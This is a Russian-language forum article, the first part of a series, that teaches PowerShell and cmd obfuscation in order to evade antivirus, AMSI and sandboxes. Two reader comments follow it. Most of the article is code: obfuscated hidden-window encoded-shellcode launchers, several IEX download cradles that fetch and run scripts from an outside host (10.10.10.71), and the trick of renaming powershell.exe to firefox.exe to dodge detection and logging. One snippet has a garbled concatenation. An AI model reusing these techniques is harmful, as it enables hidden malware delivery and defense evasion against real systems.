Статья ObFUsk@tion - Актуальные техники и методики для Powershell (часть 1)

Приветствую уважаемых участников и гостей форума!
B качестве предисловия, начнем с понимания терминологии и сути процесса обфускации кода, согласно определению википедии:
Обфускасция (от лат. obfuscare — затенять, затемнять; и англ. obfuscate — делать не очевидным, запутанным, сбивать с толку) или запутывание кода — это приведение исходного текста или исполняемого кода программы к виду, сохраняющему её функциональность, но затрудняющему анализ, понимание алгоритмов работы и модификацию при декомпиляции.
1.jpg


В этой серии статьей, мы рассмотрим актуальные методики и техники обфускации для powershell (psh-ps1), cmd.exe (cmd-bat), bash (bash-sh) и vbscript (vba-vbs) с целью обхода защитных решений AV и AMSI, песочниц и DEP (Data Execution Prevention) механизмов защиты.

1. Powershell ObFUsk@tion (psh-ps1)
2. Batch ObFUsk@tion (cmd-bat)
3. Bash ObFUsk@tion (bash-sh)
4. VBScript ObFUsk@tion (vba-vbs)

Информация предназначена исключительно в образовательных целях.
Автор статьи и администрация ресурса не несут ответственности за использование перечисленных методик и инструментов в незаконных целях.


Powershell ObFUsk@tion (psh-ps1)

Предположим необходимо обфусцировать:
Код:
powershell.exe -nop -wind hidden -Exec Bypass -noni -enc $shellcode
1) Добавим в нашу строку несколько символов `
Код:
po`wer`shel`l.ex`e -n`op -w`in`d h`id`d`en -E`xe`c B`yp`ass -n`on`i -en`c $shellcode
скрин1.jpg

2) Создадим значение переменной внутри интерпретатора powershell
Код:
cmd.exe /c "set var=Get-Process&& cmd.exe /c echo %var%^" | powershell.exe
скрин2.jpg

Более того мы можем представить powershell - переменной в командной строке
Код:
cmd.exe /c "set v1=power&& set v2=shell&& cmd /c echo Write-Host Codeby.net ^| %v1%%v2%.exe"
скрин3.jpg

3) Совместим эти техники и добавим спец. символ ^
Код:
c`md`.e`xe /c "s^Et va^r=Get-Process&& c^md^.e^xe /c e^ch^o %var%^" | power`shell.`ex`e
скрин4.jpg

Далее, предположим необходимо обфусцировать:
Код:
powershell.exe Get-WmiObject -Class Win32_ComputerSystem

1) Создадим локальные переменные и добавим спец. символы ` и + в значение этих переменных
Код:
$get = "G`et-Wm`iObj`ect"
$sys = 'Wi'+'n32_C'+'ompu'+'terS'+'ystem'
p`ow`ers`hell.e`xe $get -Class $sys
скрин5.jpg

2) Powershell позволяет обращаться к переменным окружения Windows, используем символы 0,24,22,4,4 строки вывода $env:LOCALAPPDATA с оператором Join ''
Код:
$call = $env:LOCALAPPDATA[0,24,22,4,4]-Join ''
powershell.exe Get-WmiObject -$call Win32_ComputerSystem
скрин6.jpg

3) Создадим переменную $splited c вызовом функции SPLIT и переменную $unsplited с оператором Join ''
Код:
$splited = "Get-W~~miO~~bject -C~~la~~ss Wi~~n32_Co~~mput~~erSystem"
$unsplited = $splited.Split("~~") -Join ''
powershell.exe $unsplited
скрин7.jpg

Hеобходимо обфусцировать:
Код:
(New-Object Net.WebClient).DownloadString('http://10.10.10.71/Hacktheplanet.ps1')

1) Создадим переменную $splited c вызовом функции SPLIT и переменную $unsplited вызовом функции REPLACE ("~~","")
Код:
$splited= "(New-Object Net.We~~bClient).Downlo~~adString('http://10.10.10.71/Hacktheplanet.ps1')"
$unsplited = $splited.Replace("~~","")
IEX $unsplited

2) Используем уже знакомые спец. символы ` и +
Код:
I`EX ((N`ew-Obj`ect N`et.We`bCli`ent)).('Do'+'wn'+'lo'+'adStr'+'ing').Invoke(('h'+'tt'+'p:/'+'/1'+'0.10.'10.7+1/Hacktheplanet.ps1'))

Hеобходимо обфусцировать:
Код:
 Win32_OperatingSystem

1) Создадим переменную $ScriptBlock c вызовом функции SPLIT и используем .Replace("+","") при вызова другой переменной $syscall
Код:
$ScriptBlock = "Wi'+'n?32_O'+'p%era'+'ti%n%gS'+'y?st%em"
$syscall = $ScriptBlock.Replace("?","").Replace("'","").Replace("+","").Replace("%","")
Get-CimInstance $syscall | Select-Object CSName, OSArchitecture, Caption, SystemDirectory | FL *
скрин8.jpg

Hеобходимо обфусцировать:
Код:
powershell.exe Get-Date

1) Создадим переменную $reverseCmd и используем метод вызова ::Reverse, который позволяет изменять направления теста справа налево для арабского алфавита
Код:
$reverseCmd = "etaD-teG exe.llehsrewop"
$reverseCmdCharArray = $reverseCmd.ToCharArray();[Array]::Reverse($reverseCmdCharArray);
($ReverseCmdCharArray-Join '') | IEX

2) Создадим переменную $reverseCmd и используем регулярные выражения
Код:
$reverseCmd = "etaD-teG exe.llehsrewop"
IEX (-Join[RegEx]::Matches($reverseCmd,'.','RightToLeft')) | IEX
скрин9.jpg

Hеобходимо обфусцировать:
Код:
Get-Service Browser

1) Используем оператор -f (reorder), который позволяет изменить порядок строк перечисленных через , в порядке указанном в {} после -f, так же разделим значение переменной для вызова
Код:
("{2}{3}{1}{0}" -f'vice','Ser','G','et-')
$serv='Br'+'ow'+'ser'
скрин10.jpg

Hеобходимо обфусцировать:
Код:
IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.71/Hello.ps1")

1) Объеденим уже знакомые методики с -f (reorder)
Код:
I`E`X ('({0}w-Object {0}t.WebClient).{1}String("{2}1`0.1`0.1`0.71/He`ll`o.ps`1")' -f'Ne','Download','http://')

В некоторых случаях AMSI и AV-ng ругаются на запуск powershell.exe c операторами -ec, -ep, -noP и пр.

1) Изменим наименование бинарного файла powershell.exe перед выполнением команд, для этого скопируем и переименуем powershell.exe в firefox.exe
Код:
Copy-Item "$env:windir\System32\Windowspowershell\v1.0\powershell.exe" -Destination "$env:tmp\Firefox.exe"
cd $env:tmp
.\firefox.exe -noP -wIn hIdDEn -enc

2) Разделим команду используя | pipe, к тому же в качестве бонуса - при использовании этого метода эти аргументы совсем не будут видны в логах
Код:
cmd.exe /c "echo Get-ExecutionPolicy -List" | powershell.exe
cmd.exe /c "set var=Get-ExecutionPolicy -List&& cmd.exe /c echo %var%^" | powershell.exe
скрин11.jpg

Перечисленные методы - это лишь небольшая часть техник обфускации powershell от - автора широко известного фреймворка Invoke-Obfuscation, который позволяет автоматизировать процесс.
Дальнейшее ознакомление с Powershell и Invoke-Obfuscation рекомендую начать со статей уважаемого @DarkNode из серии Powershell для хакера на нашем форуме и с блога автора инструмента. Благодарю за внимание!
 
Последнее редактирование модератором:

QZ131

One Level
11.03.2018
4
4
BIT
0
Очень интересная статься. Спасибо. Использовал Invoke-Obfuscation для запутывания кода, но в последние время детектируется AMSI, дефендером. Работает ли данная методика на сегодняшний день? Какими методики можно использовать сейчас?
 
  • Нравится
Реакции: Underwood
U

Underwood

Спасибо за комментарий. Относительно AMSI, обфускация в привычном понимании не эффективна, так как по сути - это COM интерфейс AV-вендора, в данном случае WinDefender на уровне интерпретатора Powershell, который позволяет сканировать скрипты во время исполнения (фактически после деобфускации)
А что касается методик обхода, планирую отдельную статью на эту тему в рамках этого цикла, из инструментов, рекомендую обратить внимание на SharpShooter от
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!